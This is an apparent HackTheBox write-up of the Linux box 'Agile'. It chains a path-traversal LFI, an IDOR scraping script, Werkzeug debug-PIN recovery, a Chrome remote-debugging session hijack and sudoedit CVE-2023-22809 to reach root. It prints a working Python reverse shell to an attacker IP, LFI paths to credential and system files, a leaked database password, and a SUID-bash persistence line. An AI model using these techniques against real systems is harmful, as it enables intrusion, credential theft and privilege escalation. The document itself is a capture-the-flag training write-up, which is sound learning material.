HTB: Agile

path-traversal LFI plus IDOR in a Flask vault, Chrome remote-debugging to pivot, sudoedit CVE-2023-22809 to root

A Flask password manager at superpass.htb leaked files through a path-traversal LFI on /download and exposed other users' vault rows via IDOR. The leaked SSH password got me corum. A test subdomain ran headless Chrome with remote debugging exposed on localhost, which I tunnelled and attached to with DevTools to lift edwards' session. Root came from sudoedit CVE-2023-22809 against a file that a root cron sourced.

the box

Agile is a medium Linux box built around superpass.htb, a Flask password-manager product behind nginx on port 80, plus SSH. The whole theme is a bad take on an agile workflow: the app stores user vault entries, exports them as CSV, and ships a “test” copy driven by Selenium. Two ports on the outside, every step lives in the web app and the dev tooling around it.

recon

Full TCP sweep first, then versions on what answered.

nmap -p- --min-rate 10000 10.10.11.203
nmap -p 22,80 -sCV 10.10.11.203

Two ports. nginx 1.18.0 (Ubuntu) on 80 and OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 on 22.

22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open  http    nginx 1.18.0 (Ubuntu)

Port 80 redirected to http://superpass.htb, so I added that to /etc/hosts and browsed. The app runs under Gunicorn (gunicorn --bind 127.0.0.1:5000 ... wsgi:app) with Flask left in debug mode, which mattered later. Content discovery:

feroxbuster -u http://superpass.htb --dont-extract-links

The interesting routes all bounced to the login page, which told me they were gated behind @login_required:

/download   (Status: 302) [--> /account/login?next=%2Fdownload]
/vault      (Status: 302) [--> /account/login?next=%2Fvault]
/static     (Status: 301) [--> http://superpass.htb/static/]

Registration was open, so I made a normal account and logged in. The vault page lets you store site/username/password triples and export them. Hitting export builds a CSV in /tmp and redirects to /download?fn=<file>. I caught that redirect in Burp and saw the download handler reads straight off the filesystem from a user-supplied filename.

foothold

path-traversal LFI on /download

The download view joins /tmp/ to the fn parameter with zero sanitization:

@blueprint.get('/download')
@login_required
def download():
    r = flask.request
    fn = r.args.get('fn')
    with open(f'/tmp/{fn}', 'rb') as f:
        data = f.read()
    resp = flask.make_response(data)
    resp.headers['Content-Disposition'] = 'attachment; filename=superpass_export.csv'
    resp.mimetype = 'text/csv'
    return resp

fn walks straight out of /tmp:

/download?fn=../../../etc/passwd

That returned /etc/passwd and gave me the real users:

corum:x:1000:1000:corum:/home/corum:/bin/bash
runner:x:1001:1001::/app/app-testing/:/bin/sh
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash

Any file the web user could read was now mine. Reading /proc/self/environ confirmed the process ran as www-data and leaked CONFIG_PATH=/app/config_prod.json.

IDOR across vault rows

vault_views.py has two getters that look fine until you read the service call:

@blueprint.get('/vault/edit_row/<id>')
@login_required
def get_edit_row(id):
    password = password_service.get_password_by_id(id, current_user.id)
    return {"p": password}

@blueprint.get('/vault/row/<id>')
@login_required
def get_row(id):
    password = password_service.get_password_by_id(id, current_user.id)
    return {"p": password}

get_password_by_id filters on User.id == current_user.id instead of Password.userid == current_user.id. The ownership check matches against the wrong column, so as long as the requesting user exists, any row id returns its data. Row ids are sequential integers, so I scripted a logged-in low-priv session and walked ids 0 to 10, scraping the rendered <tr class="password-row"> cells:

#!/usr/bin/python3
import requests, bs4
from pwn import log

target = "http://superpass.htb"
session = requests.Session()
session.post(target + "/account/login",
             data={"username": "tester", "password": "tester", "submit": ""})

for id in range(0, 10):
    request = session.get(target + "/vault/row/" + str(id))
    soup = bs4.BeautifulSoup(request.content, "html.parser")
    for row in soup.find_all("tr", class_="password-row"):
        cols = row.find_all("td")
        sitename, username, password = cols[1].get_text(), cols[2].get_text(), cols[3].get_text()
        if sitename != "":
            log.info(f"Credentials in row {id}:")
            print(f"\tSitename: {sitename}\n\tUsername: {username}\n\tPassword: {password}\n")

One of the rows held corum with a password that worked over SSH. The CSV LFI and the IDOR reach the same secret from two directions, which is the point of the box.

the unintended-but-fun path: Werkzeug debug console

Because Flask runs in debug mode, an unhandled exception drops the interactive Werkzeug debugger, and EVALEX = true means I can run Python in it if I have the PIN. The PIN is derived from host attributes, all of which I can read through the same LFI. The trick is feeding the right inputs to Werkzeug’s own PIN algorithm:

  • username from /proc/self/environ -> www-data
  • modname is flask.app
  • the app name is wsgi_app, not Flask (this is the entry the Gunicorn wsgi:app exposes, and it is the part everyone gets wrong)
  • the flask app file path from a crash traceback -> /app/venv/lib/python3.10/site-packages/flask/app.py
  • the NIC MAC from /sys/class/net/eth0/address, converted to a decimal integer
  • the machine id, which is /etc/machine-id concatenated with the cgroup service slice pulled from /proc/self/cgroup (superpass.service)

Read those over LFI:

/download?fn=../../../sys/class/net/eth0/address
/download?fn=../../../etc/machine-id
/download?fn=../../../proc/self/cgroup

Drop them into the standard Werkzeug PIN reconstruction script (modern Werkzeug hashes with SHA1, not MD5), submit the PIN on the debugger’s console icon, and the REPL runs as www-data. From there a Python reverse shell:

import os,pty,socket
s=socket.socket(); s.connect(("10.10.14.X",443))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")

Once on as www-data, the cleaner credential source is /app/config_prod.json, which holds the MySQL URI directly:

mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass

SELECT * FROM passwords; dumps every vault row in plaintext, which again surfaces corum. Three roads to the same credential.

user

The corum password worked over SSH and dropped the user flag.

ssh corum@superpass.htb

Enumerating nginx vhosts, there was a second server block for test.superpass.htb bound to localhost only, proxying to a dev instance on port 5555:

server {
    listen 127.0.0.1:80;
    server_name test.superpass.htb;
    location /static {
        alias /app/app-testing/superpass/static;
        expires 365d;
    }
    location / {
        include uwsgi_params;
        proxy_pass http://127.0.0.1:5555;
        proxy_set_header Host $host;
    }
}

The test instance lives in /app/app-testing and is driven by a Selenium suite that spawns headless Chrome. Looking at the process list, Chrome was started with a remote-debugging port wide open:

/opt/google/chrome/chrome --type=renderer --headless --enable-automation \
  --remote-debugging-port=41829 --test-type=webdriver ...

Chrome remote debugging is a full DevTools protocol endpoint with no auth. Whoever can reach the port can drive the browser, read pages, and lift cookies. Both 5555 and 41829 were localhost-only, so I forwarded them out over SSH:

ssh -L 5555:localhost:5555 -L 41829:localhost:41829 corum@superpass.htb

Then on my own Chrome I went to chrome://inspect, added localhost:41829 under “Configure devices”, and the remote tab showed up under “Remote Target”. I clicked inspect, which gave me a DevTools window into the running test browser. The Selenium test logs in as edwards and sits on the vault, so the live session is right there. I pulled the session cookie from Application -> Cookies, replayed it against the tunnelled http://localhost:5555, and read the edwards vault row, which gave the edwards SSH password. (The DevTools port also responds to scripted clients like chrome-remote-interface or a raw WebSocket against the /json target list if you prefer to automate it.)

ssh edwards@superpass.htb

root

edwards had a tightly scoped sudoedit grant:

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

sudo -V reported 1.9.9, vulnerable to CVE-2023-22809. The bug: sudoedit builds the editor argv by splitting the EDITOR/SUDO_EDITOR environment variable, and an attacker-supplied -- plus an extra path gets appended after the policy-approved file. sudo’s policy check only validates the approved file, so the extra file is opened too, even though it is outside the allowed list, with the target user’s privileges.

I needed a file that root would later read. Root sources /app/venv/bin/activate, both interactively (it gets pulled in through /etc/bash.bashrc) and from a cron job, which I could see in the laurel audit log:

CMD: UID=0  PID=50183 | /bin/bash -c source /app/venv/bin/activate
CMD: UID=0  PID=50182 | /usr/sbin/CRON -f -P

activate is owned by dev_admin, which is exactly the user my sudoedit grant runs as. So I pointed EDITOR at the activate script and let sudoedit open the allowed config_test.json plus the real target:

export EDITOR='vim -- /app/venv/bin/activate'
sudo -u dev_admin sudoedit /app/config_test.json

vim opened /app/venv/bin/activate as dev_admin. I appended a line that flips the SUID bit on bash:

chmod u+s /bin/bash

Next time root sourced the file (the cron fires on a short interval), /bin/bash became SUID root. bash -p keeps the privileged euid instead of dropping it, and that gave a root shell and the root flag.

bash -p
# id -> euid=0(root)

takeaway

Two app bugs (no path sanitization on a download param, an ownership check against the wrong column) chained into a foothold, and the same LFI even reconstructed the Werkzeug PIN if you knew to use the wsgi_app module name. The pivot was an exposed Chrome debugging port that anyone local could attach to and impersonate the active session. Root was a write-where-root-reads: a sudoedit CVE turned a constrained edit into control of a file that root sourced on a timer. Pin helper paths, scope sudo rules to absolute files, and never leave a debug protocol listening.